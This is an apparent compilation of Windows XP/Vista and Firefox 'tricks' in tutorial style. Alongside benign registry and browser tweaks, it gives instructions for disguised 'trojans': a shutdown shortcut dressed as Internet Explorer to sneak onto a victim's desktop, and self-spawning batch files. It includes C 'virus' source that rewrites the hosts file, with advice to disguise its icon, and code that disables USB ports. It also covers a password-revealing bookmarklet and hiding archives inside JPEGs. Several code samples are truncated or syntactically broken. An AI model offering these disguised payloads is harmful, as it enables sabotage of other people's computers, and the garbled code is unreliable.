Know the Password behind the asterisks in your browser



I have seen some people who search a lot on this trick. You can find some freeware software, but
those will not work.
You have to buy a software for the same purpose
Even if some freeware works in one browser then it will not work in other browser.

Here is the Trick,

First open a browser and then goto http://mail.yahoo.com/ or http://www.gmail.com/ and then enter
your user name and password but don't click on submit or don't click on login .
After entering the password, that password is hidden behind the asterisks.

Now clear the url on the browser and copy the below code and paste it there and hit enter.

That's it. your entered password behind the asterisks is shown below "Passwords in forms on this
page:"

Quote:
javascript function(){var%20s,F,j,f,i;%20s%20=%20%22%22;%20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)%20{%20f%20=%20F[j];%

Trick-9
Change the Default Location for Installing Programs

XP uses the C:/Program Files directory as the default base directory into which new programs are
installed.
However, you can change the default installation drive and/or directory by using a Registry hack.
Run the Registry Editor and go to
Quote:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion
Look for the value named ProgramFilesDir.
By default, the value will be C:/Program Files.
Edit the value to any valid drive or folder; XP will use that new location as the default installation
directory for new programs.

Lost User Passwords. (Windows XP)

If you have lost or forgotten a user account password in Win XP, simply log in as the
computer administrator, and go to control panel, user accounts. Here you will be able to
reset the password for any of the systems user accounts.

Lost Administrator Password. (Windows XP)

Slightly more work needed if you lose or forget the Windows XP administrator password.

First reboot Windows XP in safe mode by re-starting the computer and pressing F8
repeated as the computer starts up. Then (in safe mode) click Start and then click Run. In
the open box type "control userpasswords2" without the quotes - I have just used quotes to
differentiate what you have to type.

You will now have access to all the user accounts, including the administrators account
and will be able to reset the lost password.

Just click the administrators user account, and then click Reset Password.

You will need to add a new password in the New password and the Confirm new password
boxes, and confirm by clicking OK.

All done, you have recovered the lost administrators password!

Hou to Mote Web AppIlcutlons to Your
Desktop

Although many people have their favorite web apps setup as their homepage on their
browsers, there are times when running a web app inside its own window in a separate
process could come handy. Think about having your browser clogged up with way above
30-40 tabs open and crashing at random times.

Then, you will just have to open it again and fire up the web interface you were working
with at the time of the crash. A desktop web app will automatically eliminate the need of
restarting your work flow all over again just because a buggy web browser decided that he
had enough.

Thats only a quick example why one would need a web app to run on its desktop. To be
able to do it, you will have to use an application developed by Mozilla and named Prism. It
enables the end user to easily integrate any type of web application into a friendly desktop
environment.

Why use it

Most probably the final users of the desktop web apps will be those who dont know a lot
about computers, the kind of people who consider a web app like a distinct application.
This is actually a good thing if you see it from the developers point of view because, this
way, people will tend not to think that they are on the web.

Thus, the web app will get a temporary status of desktop application, a fact that, added up
to the lack of toolbars and other browser specific elements, will help the end user to get a
lot more focus on the task at hand and greatly reduce distractions.

Wondering what other uses you might have for such an app? Well, you could use it to stay
logged on into a Google calendar account without having to re-login when switching
between your Gmail accounts, easily access a local web app inside a business
environment where you do not need a full browsing experience, and the list could go on.

Also, Prism will allow the web developers to easily create web apps that can run on Prism
without having to worry about specifically targeting Prism, because a web app that will run
in a modern standards compliant web browser will automatically be able to run in Prism.

Prism is an application built on Firefox, therefore it is cross-platform (runs on Mac OS X,
Linux and Windows) and supports Internet technologies like HTML, CSS, and JavaScript.

How to use it

First of all, go HERE and download Prism to your computer. After mounting the
downloaded dmg file, copy Prism to your Applications folder and run it by double clicking
on its icon.

In the window that will appear you will get access to all the options you will need to
configure the desktop web app you want to create. I have chosen the Google Gmail web
app as an example, but you can migrate to your desktop any other app you may want to.

In the URL field fill in the link to the web app you have chosen and write down the name
that Prism should give it after making it available on your desktop. The Show location bar,
Show status message and progress and Enable navigation keys can be selected or left
as they are according to your own taste. In case you want your web app to only be able to
go to a single web location (like the aforementioned Gmail for example), be sure not to
select the location bar.

The Create Shortcuts option sub-group will help you choose the places where you want
the web app to be available and the Icon option will allow you to quickly select an image
that you wan to associate with the web app you want to create. You will be able to choose
between the web apps fav icon (as it is called in the Prism interface the icon from the
web) or to select a custom image from your computer.

The next step is to push the OK button and Prism will take care of everything. The web app
will be available on your Desktop, Dock and/or Applications Folder, according to what you
have chosen on the desktop web app creation interface.

Who would use it

I suppose many people will not get the idea behind the Prism project and will think it is just
a feature-less web browser. Thats what Ive thought in the beginning too but, after
considering all the things everyone had to say (web developers, web browser users,
people who dont have a lot of computer know-how), I think Prism might prove very useful
in the business environment.

Here, when somebody wants to access a web app, the need for toolbars and all types of
add-ons and buttons is almost close to zero, therefore being able to access the web app in
a clean and focused environment should prove very helpful in maximizing the amount of
attention on the task at hand and, in the end, creating a more productive environment.

Im not saying others wont find it useful too (the Google Calendar example above should fit
the profiles of a lot of people), its just that this type of approach doesnt feel natural to most
web users. Many have already said it just resembles too much making a shortcut to the
actual website where the web app runs or even giving up on the multi-tabbed browser
experience.

How to exceed your download limit on
Rapidshare/Others
NOTE: complicated, and yes there are proxy sites to get around rapidshare, however there are none
currently that'll get around rapidshare.com:


Okay, here is a quick tutorial on how to get around those annoying "Wait X minutes before
downloading" messages, as well as the one-file-at-a-time limits that are frequent on Rapidshare and
similar sites. This tutorial uses Opera (because it has the best download manager), but can probably
be adapted for any browser

Step 1. Since this will slow down each download quite a bit, pick 4 or 5 Rapidshares that you've
always wanted. This will give you the most speed boost.

Step 2. Start the biggest one as you normally would, by clicking the "Free" button.

Step 3. Go to
Quote:
http://www.samair.ru/proxy/

and pick a proxy. configure your browser to use it. (In Opera, Tools/Preferences, Advanced tab,
Network on the right, then click the Proxy Servers button.

Before the colon is the IP, after is the port.

Step 4: Finally, test it for speed. If the proxy seems pretty fast, start the next download, and repeat
Step 3&4 until you have all your files downloading. If it seems too slow, repeat step 3 until you find
a fast one.

Programs dialog box. To add ms messenger to the Add/Remove menu, delete
the word HIDE from its entry. Dont delete the ",(comma) after it.

File Joining Without Software

1. Gather the file you wish to bind, and the image file, and place them in a
folder. I will be using C:\New Folder
-The image will hereby be referred to in all examples as mfgbhatti.jpg
-The file will hereby be referred to in all examples as New Text Document.txt

2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip.
From here on this will be referred to as (secret.rar)

3. Open command prompt by going to Start > Run > cmd

4. In Command Prompt, navigate to the folder where your two files are by
typing
cd location [ex: cd C:\New Folder]

5. Type [copy /b mfgbhatti.jpg + secret.rar mfgbhatti.jpg] (remove the brackets)

Congrats, as far as anyone viewing is concerned, this file looks like a JPEG,
acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take

a) Change the file extension from fluffy.jpg to fluffy.rar, then open and your file
is there
b) Leave the file extension as is, right click, open with WinRar and your file is
there

Knowing who hacked You

Open dos command,go to -(Start/Run/type "command" without inverted commas and hit
enter),& in the MSDOS prompt,type:
netstat -a
(make sure you include the space in between the "t" and the "-a").

This command will show u the host name of the lamer and ofcorse urz also ..ur host name
will be under local address and his wud be under foreign address.. note any suspicious name
and every numbr u c aftr the host name under foreign address which is new and suspicious
there(numbers are ports but i consider u totally unaware).
After ur done,now type
Netstat -an (again a space between "t" and "-an")

this will list all connections in numerical form, which makes it a lot easier to trace malicious
users....Hostnames can be a little confusing if you don't know what you're doing (although
they're easily understandable, as we shall see later). Also, by doing this, you can also find
out what your own IP address is, which is always useful.

It wud look a bit like this

How To Make Windows Vista Shut Down Faster

When you first install Windows Vista shutdown time is not really a big problem
but after a while it will be slower. With a registry trick, you can decrease the
amount of time Windows Vista waits for a service to stop, and make Windows
faster.

1. Open Registry Editor: go to the Start Menu, and type regedit in the Search
bar.Then press Enter.

2. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l]

3. Edit the "WaitToKillServiceTimeout"="20000" by right clicking on the key and
selecting Modify.

By default, the setting is at 20000 milliseconds (20 seconds.) Remember that
the default setting are the safest settings for your computer.

If you make this value smaller there is some risk involved. You can lower it in 4
seconds increments to see what is the best value that works for you.

Generally it is recommended not lower the value more than 3-5 seconds
because if you do this you can cause your computer to shut down improperly or
lose data

WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "ell"

How To Open Word 2007 docx files in Word
2003

Office 2007 has a little different design than Office 2003 and some of us liked

Compatibility Pack.

To install it follow this steps:

1. Go and download the pack.

click Continue.

Enabling right click on sites that disable it

This is a tip on how to Enable right click function on sites that disable it.

Lots of web sites have disabled the right click function of the mouse button... it's
really, really annoying. This is done so that you don't steal (via right-click->save
picture) their photos or images or any other goodies. Unfortunately, it disables
ALL right-click functionality: copy, paste, open in new window.

The solution is simple, just get used to right clicking and hitting the Esc
"Escape" Key "NOT at the same time but very close to it" right click first then
Esc. Until you are allowed access to the context menu to copy/save the
file/photo.... Sometimes it takes a couple of tries but with practice comes
perfection.

How to change IPs

This is a tutorial about changing IP addresses. You can change your IP
address for various reasons

1.) because you got banned in a game from some server.

2.) you got banned from some crappy forums and want to get a nub back

3.) if you are downloading from somewhere like Rapidshare, you might not
have patience to wait for 3 hours to download another file again, if you change
your ip, you can download another file instantly having to still wait for your
"ticket" tho.



Ok there are many ways of changing your IP

First is to go to the Start Menu and goto the RUN command.

after that type this:

blah blah blah>ipconfig

now see what your ip address is right NOW.


now you need to:
blah blah blah> ipconfig [SPACE ONCE] /release
(Note:this releases the IP address you are using now, and your internet wont
work till u renew another IP address or the same one)



then like after 10-20 seconds do:
blah blah blah>ipconfig [SPACE ONCE] /renew
this gives you an iP address,either another one, or the same one you had
before


that is one way of changing your IP Wink, note that it won't work all the time.


Now if you don't like all that technical stuff, then here is an easier way.


If you have a ROUTER, this is gonna be ownage.

Unplug your router power, and after that your DSL pwoer cable, wait for 10
seconds until your internet icon at the taskbar has an X with it.

now plug back your router in, then after 1 second of plugging your router in,
plug that dsl of yours in.

When you are connected to the internet, try getting a file from rapidshare, and
see if you can download.

If u can download, then congratulations, you have just changed your IP address


(Note again: sooner or later, you will run out of IP addresses to change,but that
will take a long time for it to happen)

8 Hacks To Make Firefox Ridiculously Fast

Firefox has been outperforming IE in every department for years, and version 3
is speedier than ever.

But tweak the right settings and you could make it faster still, more than
doubling your speed in some situations, all for about five minutes work and for
the cost of precisely nothing at all. Here's what you need to do.

Enable pipelining
Browsers are normally very polite, sending a request to a server then waiting
for a response before continuing. Pipelining is a more aggressive technique
that lets them send multiple requests before any responses are received, often
reducing page download times. To enable it, type about:config in the address
bar, double-click network.http.pipelining and network.http.proxy.pipelining so
their values are set to true, then double-click
network.http.pipelining.maxrequests and set this to 8.

Keep in mind that some servers don't support pipelining, though, and if you
regularly visit a lot of these then the tweak can actually reduce performance.
Set network.http.pipelining and network.http.proxy.pipelining to false again if
you have any problems.



2. Render quickly
Large, complex web pages can take a while to download. Firefox doesn't want
to keep you waiting, so by default will display what it's received so far every
0.12 seconds (the "content notify interval"). While this helps the browser feel
snappy, frequent redraws increase the total page load time, so a longer content
notify interval will improve performance.

Type about:config and press [Enter], then right-click (Apple users ctrl-click)
somewhere in the window and select New > Integer. Type
content.notify.interval as your preference name, click OK, enter 500000 (that's
five hundred thousand, not fifty thousand) and click OK again.

Right-click again in the window and select New > Boolean. This time create a
value called content.notify.ontimer and set it to True to finish the job.


3. Faster loading
If you haven't moved your mouse or touched the keyboard for 0.75 seconds
(the content switch threshold) then Firefox enters a low frequency interrupt
mode, which means its interface becomes less responsive but your page loads
more quickly. Reducing the content switch threshold can improve performance,
then, and it only takes a moment.

Type about:config and press [Enter], right-click in the window and select New >
Integer. Type content.switch.threshold, click OK, enter 250000 (a quarter of a
second) and click OK to finish.


4. No interruptions
You can take the last step even further by telling Firefox to ignore user interface
events altogether until the current page has been downloaded. This is a little
drastic as Firefox could remain unresponsive for quite some time, but try this
and see how it works for you.

Type about:config, press [Enter], right-click in the window and select New >
Boolean. Type content.interrupt.parsing, click OK, set the value to False and
click OK.


5. Block Flash
Intrusive Flash animations are everywhere, popping up over the content you
actually want to read and slowing down your browsing. Fortunately there's a
very easy solution. Install the Flashblock extension (flashblock.mozdev.org) and
it'll block all Flash applets from loading, so web pages will display much more
quickly. And if you discover some Flash content that isn't entirely useless, just
click its placeholder to download and view the applet as normal.



6. Increase the cache size
As you browse the web so Firefox stores site images and scripts in a local
memory cache, where they can be speedily retrieved if you revisit the same
page. If you have plenty of RAM (2 GB of more), leave Firefox running all the
time and regularly return to pages then you can improve performance by
increasing this cache size. Type about:config and press [Enter], then right-click
anywhere in the window and select New > Integer. Type
browser.cache.memory.capacity, click OK, enter 65536 and click OK, then
restart your browser to get the new, larger cache.



7. Enable TraceMonkey
TraceMonkey is a new Firefox feature that converts slow Javascript into super-
speedy x86 code, and so lets it run some functions anything up to 20 times
faster than the current version. It's still buggy so isn't available in the regular
Firefox download yet, but if you're willing to risk the odd crash or two then
there's an easy way to try it out.
Install the latest nightly build (
Quote:
ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/

), launch it, type about:config in the address bar and press Enter. Type JIT in
the filter box, then double-click javascript.options.jit.chrome and
javascript.options.jit.content to change their values to true, and that's it - you're
running the fastest Firefox Javascript engine ever.


8. Compress data
If you've a slow internet connection then it may feel like you'll never get Firefox
to perform properly, but that's not necessarily true. Install toonel.net (toonel.net)
and this clever Java applet will re-route your web traffic through its own server,
compressing it at the same time, so there's much less to download. And it can
even compress JPEGs by allowing you to reduce their quality. This all helps to
cut your data transfer, useful if you're on a limited 1 GB-per-month account, and
can at best double your browsing performance

I was having my P.C. with X.P. as well Windows Vista and Beta version of Windows 7 as a
dual boot.
After some days if uses I stopped using Vista and Windows 7.
Now I wished to get rid of these Operating systems as they were using a lot of space on
my Hard Disk and I did not needed them any more.
Then I searched for the solution of How to remove those Operating Systems without losing
my Data and even without having to re-install my X.P.?
I think many of you people also have this problem of how to remove Vista and / or
Windows 7 on a dual boot system with X.P.

Here is how to do it.

1> Boot your computer in to Windows XP.

2> Ensure you have the Vista DVD in the DVD drive.

3> Go to Start and Run. Type in d:\boot\bootsect.exe /nt52 ALL /force
(without quotes, plus replace d: with the drive letter of your Vista DVD).

4> Remove two files (Boot.BAK & Bootsect.BAK) on your XP root folder (C: ).

5> Restart the computer, and you will notice the boot selection menu is gone.

6> Format the partition/drive where you had Vista installed.

And now you have returned your computer to its previous state, without Vista and without
the new bootloader.

Now you'll no longer need to browse through various
folders each time you change Wallpaper

This tip is for Windows XP users. When you want to change the desktop
wallpaper, you right-click on desktop, select Properties and goto "Desktop" tab.
Now you see a few wallpapers in the given list:

You can select any of them but if your wallpapers are somewhere else, you'll
need to click on "Browse" button and then goto that folder and select the
desired wallpaper.

Its not a big deal but what if you are a wallpaper freak and change the
wallpaper every day or hour?It might get irritating for you to click on Browse and
goto the directory each time.

Now here I'll show you a way to change the default wallpaper directory in
Desktop Properties, so that whenever you'll open it, it'll show the wallpapers
present in your desired folder:

1. Open regedit and goto:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion

2. In right-side pane, you'll see a string value "WallPaperDir". Its default value
will be:

%SystemRoot%\Web\Wallpaper

You have to change it to your desired wallpaper directory path. Suppose your
wallpapers are stored in "E:\Wallpapers" directory, then set the value to
"E:\Wallpapers".

3. Exit registry editor and open Desktop Properties again. Now it'll show all
wallpapers present in the folder which you set in registry:

4. Thats it. Now you'll no longer need to browse through varioud folders each
time you want to change the wallpaper

View the Contents of Zip/Rar file before
Downloading

Most of the files we download from the Internet are in Zip or Rar format. We
wouldnt like if we download an archive to find that the file we are looking for is
not there. And it is also such a waste of Bandwidth and time to download a
whole archive just for a single file. Archview is a Firefox addon that lets you
preview the contents of an Archive before downloading. And using it you can
even download a single file from the archive.

Currently it supports only RAR, ZIP and ISO format but that should be enough
as they are the 2 most popular and common formats being used today.
Archview adds itself to the stats bar and becomes active when the user clicks
on a zip or rar link. It displays the contents almost instantly and presents the
files of the archive in an XML or HTML interface. And whats more, it even lets
you download individual files for an archive, now no need to download a 10 MB
archive for a file of 100 Kb that is inside.
The future version will also add support for the 7z format. It supports Firefox 2
and Firefox 3. It is definitely a great add on that can save you a lot of
bandwidth.

Assign a Permanent Letter to a USB Drive

If you have multiple pen drives you might have noticed that every time you put
in your drive it will be assigned a different drive letter.

This can be frustrating when trying to run backups or opening files from
software as recent drive letter is changed. Even if you have created playlist of
the songs which are in your pen drive it wont work if the drive letter is changed.

Here are the steps you will have to follow to assign a permanent drive letter:-

1. Go to Start > Run

2. Type mmc in the box and hit enter.

3. Select File > New

4. Now select File > Add/Remove Snap-in.

5. Select Disk Management and click Add

6. Select OK.

7. Select This computer and then Finish

8. Now press OK on the Add or Remove snap-ins screen.

9. Now select Disk Management from the left menu.

10.You will now see all of your drives/partitions in the right hand side panel.

11.Right click the USB drive you want to assign a permanent letter to and select
Change Drive Letter and Paths

12. Click on Change

13. Select a permanent letter

14. Click OK

15. It will warn you about making the change there is little chance programs
you use will be affected by this. If they will, you will probably already be aware
of this so dont worry.

directory. Close the Console and you are done.

Now eject your usb drive and put it back in and see whether it is showing the

Make fake viruses in windows [Advance]

We Take no responsibility for any of this tricks , Do it at your own risk

1. Fake computer virus error message

This one is by far, the easiest and all you have to do is to make a new text
document with notepad, type msg * YOUR MESSAGE and save as
anything.bat. As always, make sure that you select All files instead of Text
Document.


2. Forced shutdown trojan.

This will display a custom error message and start a countdown which will shut
down the computer.

Right-click your desktop and create a new shortcut.
Paste the following code into the Location box in the Create Shortcut menu:
shutdown -s -t 30 -c Your message here
Replace 30 with the length of the countdown you want (in seconds) and place
your custom error message between the quotes. Click next and name the
shortcut to something the victim would be likely to click on such as Internet
explorer or My Documents, etc.

Next youd want to change the icon. Right-click on the shortcut you made and
click properties. Find the Change Icon button and click it. Choose a suitable
icon for the name you chose earlier.


And thats all! Now you just have to sneak the shortcut onto the victims desktop
and run!

Note: to stop it, open Run from the start menu and type shutdown-a.


3. Endless Command prompt windows trojan

This will open up a series of command prompt windows that will never end.
The basic idea is that there are two .bat files that open the other one when
opened, so the other one opens the first one again and the windows just wont
stop coming.

How to do this:
1. Fire up notepad and type: start 2.bat
2. Save it as 1.bat (make sure you choose all files when saving it)
3. Make another new text document and type: start 1.bat
4. Save it as 2.bat into the same folder as the other one.

All you have to do to start it is to click on either of them.

The only way to stop it is to wait for the windows to become so numerous that
they are a group on the taskbar. Then you can use Close group to get rid of the
bastards.

4. Fake Command prompt trojan viruses

This is also a good way to make the victim believe that a worm is gnawing at
their hard drive and that they cant do anything to stop it.

Open up notepad and type @echo off

* To make text appear, type it after an echo tag.
* To have the the commands wait for the user to press any key type pause

(Note: if you write pause >nul it wont display Press Any key to continue)

* To have a complete high-speed description of files in the drive of the .bat file,
type dir /s
* You can also initiate any other command we covered earlier, such as
shutdown, error message, etc.

And why no include all of these in one fake virus?

XP Animations


You can turn off window animation ("exploding" windows), displayed when you
play around with minimizing/maximizing open windows. This makes navigating
Windows 95/98/ME/NT4/2000/XP a lot quicker, especially if you don't have a
fast video controller, or if you got tired of seeing it all the time (like I did).

To do this, run Regedit (or Regedt32) and go to:
HKEY_CURRENT_USER | Control Panel | Desktop | WindowMetrics
or if you are the only user of your Windows computer go to:
HKEY_USERS | .Default | Control Panel | Desktop | WindowMetrics

Right-click on an empty spot in the right hand pane. Select New -> String
[REG_SZ] Value. Name it MinAnimate. Click OK. Double-click on "MinAnimate"
and type 0 to turn OFF window animation or 1 to turn it ON. Click OK. Close the
Registry Editor and restart Windows. Done.

TweakUI, the famous Microsoft Power Toy [110 KB, free, unsupported] can
also turn off animated windows.
Just remove the check mark from the "Window Animation" box under the
General tab.

Enabling right click on sites that disable it

Lots of web sites have disabled the right click function of the mouse
button... it's really, really annoying. This is done so that you don't steal
(via right-click->save picture) their photos or images or any other
goodies. Unfortunately, it disables ALL right-click functionality: copy,
paste, open in new window.

It's easy to change, assuming your using IE 6:
Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done...
'cause generally the javascript enhances a website.

OR

A Better way is to just get used to right clicking and hitting the Esc
"Escape" Key "NOT at the same time but very close to it" right click
first then Esc. Until you are allowed access to the context menu to
copy/save the file/photo.... Sometimes it takes a couple of tries but
with practice comes perfection. Nothing to change or Undo.

Add the Ouick Launch Bar to the
Taskbar in Windows 7

The above screenshot is the Windows 7 taskbar after changing back to
XP/Vista mode, and adding the quick launch bar back. Looks just like Vista
doesnt it?

Adding the Quick Launch Bar Back to Windows 7

To add the toolbar back, youll want to right-click on an open area of the
taskbar, and choose Toolbars \ New Toolbar from the menu. You should
probably also unlock the taskbar at this point.

Nows the slightly tricky part youll want to paste the following path into the
location bar:

Code:
%appdata%\Microsoft\Internet Explorer\Quick Launch
Make sure that the location bar shows the full path, like the next screenshot,
before you choose the Select Folder button.

Youll immediately notice the Quick Launch toolbar on the taskbar, but its all
the way over on the right, so youll want to click on the dotted lines and then
drag the toolbar all the way to the left (which is slightly tricky sometimes). Note
that youll need to right-click and unlock the taskbar before you can move the
toolbar.

There we go, its over on the left but now youll want to adjust the regular
taskbar toolbar to be closer to the left, so use the dotted lines to drag it over as
well.

The normal Quick Launch that were used to doesnt have text, so right-click on
the dotted lines and uncheck Show Text as well as Show Title from the
menu.

Once youre sure its the way you want it, you should check the Lock the
taskbar again.

And there you are, the quick launch bar has returned and theres virtually no
way anybody would know this is Windows 7.

How to block websites using C code

Most of us are familiar with the virus that used to block Orkut and Youtube site.
creating such a on . I will give a brief introduction about this code before I jump
into the technical jargon.

This code has been exclusively created in C. So, anyone with a basic
knowledge of C will be able to understand the working of the code. This
program needs to be clicked only once by the victim. Once it is clicked, itll
block a list of websites that has been specified in the source code. The victim
will never be able to surf those websites unless he re-installs the operating
system. This blocking is not just confined to IE or Firefox. So once blocked, the
site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus
that automates all the steps involved in blocking. The manual blocking process
is described in the post How to Block a Website ?
Here is the sourcecode
Quote:
#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
google.com,
www.google.com,
youtube.com,
www.youtube.com,
yahoo.com,
www.yahoo.com
};
char ip[12]=127.0.0.1";
FILE *target;

int find_root(void);

int find_root()
{

struct ffblk ffblk;//File block structure

done=findfirst(C:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{

/*to open the file*/
return 1;
}

done=findfirst(D:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(D:\\windows\\system32\\drivers\\etc\\hosts,r+);
/*to open the file*/
return 1;
}

done=findfirst(E:\\windows\\system32\\drivers\\etc\\hosts,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(E:\\windows\\system32\\drivers\\etc\\hosts,r+);
/*to open the file*/
return 1;
}

/*to determine the root drive*/
if(done==0)
{
target=fopen(F:\\windows\\system32\\drivers\\etc\\hosts,r+);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,\n);
for(i=0;i<6;i++)
fprintf(target,%s\t%s\n,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
compile the program using turboc and launch the .exe file generated
Testing

1. To test, run the compiled module. It will block the sites that is listed in the
source code.

2. Once you run the file block_Site.exe, restart your browser program. Then,
type the URL of the blocked site and youll see the browser showing error
Page cannot displayed.

3. To remove the virus type the following the Run.
Code:
Quote:
%windir%\system32\drivers\etc
4. There, open the file named hosts using the notepad.At the bottom of the
opened file youll see something like this

Code:
Quote:
127.0.0.1google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the program to make it look like a
legitimate program

Locate your Windows XP installation CD. If you don't have one, you'll need to
locate a directory on your system that's named"i386" (without the quotes). This
directory may be on a hidden partition on your hard drive. Go to Start, then to
Run, and type in "SFC /SCANNOW" (without the quotes - and with a space
between the SFC and the /SCANNOW). The press Enter. (For VISTA, go to
Start and type in the above information, then go to the top of the box and right
click on SFC /SCANNOW and select "Run As Administrator"). The program
may (or it may not) ask you for your Windows XP installation CD - please insert
it at the prompt. If it doesn't ask you for the CD this means that it wasn't
necessary to replace any files. In the event the the system asks you for the CD,
you must visit Windows Update immediately after the scan is completed
(Please note that there won't be any confirmation dialog - the program will just
exit without telling you anything). If this doesn't repair the problem with your
system other troubleshooting procedures are required.
Trick-121
Code to enable and disable usb ports

In this post I will show how to create a simple virus that disables/blocks the USB ports
on the computer (PC). Anyone with a basic knowledge of C language should be able to
understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the
computer. As a result the youll will not be able to use your pen drive or any other USB
peripheral on the computer. The source code for this virus is available for download.
You can test this virus on your own computer without any worries since I have also
given a program to re-enable all the USB ports.

To disable the USB ports
Quote:
#include<stdio.h>
void main()
{
system("reg add
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v
Start \/t REG_DWORD \/d 4 \/f");
}
save as block_usb.c and compile using turboc

Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that
will block (disable) all the USB ports on the computer upon execution (double click).
To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb
drive). Now you can see that your pen drive will never get detected.

To re-enable the USB ports
Code:
Quote:
#include<stdio.h>
void main()
{
system("reg add
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v
Start \/t REG_DWORD \/d 3 \/f");
}
save as unblock_usb.c and compile using turboc and then
just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the
pen drive and it should get detected.
Trick-122
Reinstall Windows Not Losing Anything

You can use this method as often as you like when you need to repair
something that had gotten corrupted and you don't want to do a clean install.

This is better than doing a windows repair install from the cd because doing
that can cause changes to settings and even make it so you can't get updates
anymore from microsoft update site because of the 'silent install' they did a year
or so ago (unless you rereg some dll files).

1- Start WindowsXP
2- Go to the location of your source files
3- Run WINNT32 /unattend
For example, D:\I386\winnt32 /unattend ( copy & paste this command into the
RUN box, then press ENTER ) Your computer will do the rest.

OR

Start > All Programs > Accessories > Command Prompt.
Copy & paste > D:\I386\winnt32 /unattend (notice the space between 32 and / )
Press Enter.
If you have i386 on your drive, you can replace D: ( if D: is your cd drive ) with
the location of it. (be sure it's the full i386 though)

D: is the driver letter where your windows XP Cd is
if D:\I386\winnt32 /unattend doesn't work then try : d:\winnt32 /unattend.


Trick-123
Increase Windows Vista Performance / Experience
Index upto 9.9

We all know about new feature "Windows Experience or Performance Index" in
Windows Vista. Its a new feature which automatically calculates your system
performance index based on the hardware you have. It can be between 0.1 to 9.9

Better system hardware, better Performance Index and better system performance.

"Windows Performance Index" is shown in "System Properties" which can be accessed
by right-clicking on "My Computer" icon on Desktop and select "Properties" or from
"Control Panel".

Using this trick, you can increase that Index upto 9.9

The benefit of this hack is, there are a few features in Windows Vista which can only be
used if your "Windows Experience Index" reaches the minimum requirements. So by
increasing the Index manually, you can use those features.

Like You'll get toolbar in "Photo Gallery's Slide Show" while opening a wallpaper in
Explorer.

How to:

1. Type following in Startmenu Searchbox / Run / Explorer Addressbar:
Quote:
%windir%\Performance\WinSAT\DataStore
And Press <Enter>.

2. You'll one or more .xml files in the folder. Sort them by Date Created or look at their
name. The file name will be in following format:
Quote:
2007-11-08 22.23.17.858 Assessment (Initial).WinSAT.xml
Where "2007-11-08 22.23.17.858" might differ from machine to machine and Windows
Installation date/time.

3. Open the latest file in "Wordpad" and goto line having <WinSPR>. It'll be approx.
12th line and will look like following:
Quote:
<WinSPR>
<SystemScore>1</SystemScore>
<MemoryScore>4</MemoryScore>
<CpuScore>3.4</CpuScore>
<CPUSubAggScore>2.9</CPUSubAggScore>
<VideoEncodeScore>3.9</VideoEncodeScore>
<GraphicsScore>1</GraphicsScore>
<GamingScore>1</GamingScore>
<DiskScore>4.2</DiskScore>
4. Now you can edit the numbers between > & < and can increase them upto 9.9 as
following:
Quote:
<WinSPR>
<SystemScore>9.9</SystemScore>
<MemoryScore>9.9</MemoryScore>
<CpuScore>9.9</CpuScore>
<CPUSubAggScore>9.9</CPUSubAggScore>
<VideoEncodeScore>9.9</VideoEncodeScore>
<GraphicsScore>9.9</GraphicsScore>
<GamingScore>9.9</GamingScore>
<DiskScore>9.9</DiskScore>
5. Thats it. Save the file and check the Index again in System Properties. It'll 9.9 now.

NOTE: If you can't save the file, then take ownership of the file. For taking
ownership..you can also edit and save the file by dragging the file to the desktop
and edit the file as mentioned above and save it and again place it in the original
location.that'all.

Empty the Temp Folder Automatically

You can safely remove anything in C:\Windows\Temp that was created before
the current Windows session. So the best time to have it automatically emptied
is during boot-up. Here's how to do that:

Select Start, Run, type the command sysedit and press Enter to launch the
System Configuration Editor. Once there, go to the autoexec.bat window. That
batch file may contain text, or it may be blank. Either way, add these two lines:

deltree /y c:\windows\temp

md c:\windows\temp

Save the file and exit the program or click on the X to close. When asked if you
want to save changes, click Yes. Next time you restart the temp files will be
deleted.

From now on, you'll get an empty temp folder every time you boot.

Disable Messenger SERVICE (Not MSN
messenger)

In the default installation of XP, the Messenger service runs by default.
Messenger in windows2000/XP is similiar to the functionality of what
"WinPopup" was to Win3.x/9X. However, having this service running will cause
problems in the very near future, as ANYONE can send popup messages to
your computer when you have this service running. (The service doesn't check
where the message comes from).

Don't believe it? At the command prompt, type "net send
IPADDRESS_OF_CLIENT_TO_SEND_TO Your Message" and that person will
get a popup window immediately with "Your Message" .. the popup window will
says "Messenger Service" in the titlebar and will contain your workstation's
name and the time. You can send a message to yourself by typing
"LOCALHOST" to test this.

Another thing worth noting, if you are using a microsoft firewall, these
messages will still be sent through the firewall.

To make it so others cannot send these messages to you, disable the
Messenger service from Services. (Go to Control Panel > Perf. & Maint. >
Administrative Tools > Services. Double click the Messenger Service, change
'Automatic' to 'Disabled' and click the Stop button.) Once you've done this,
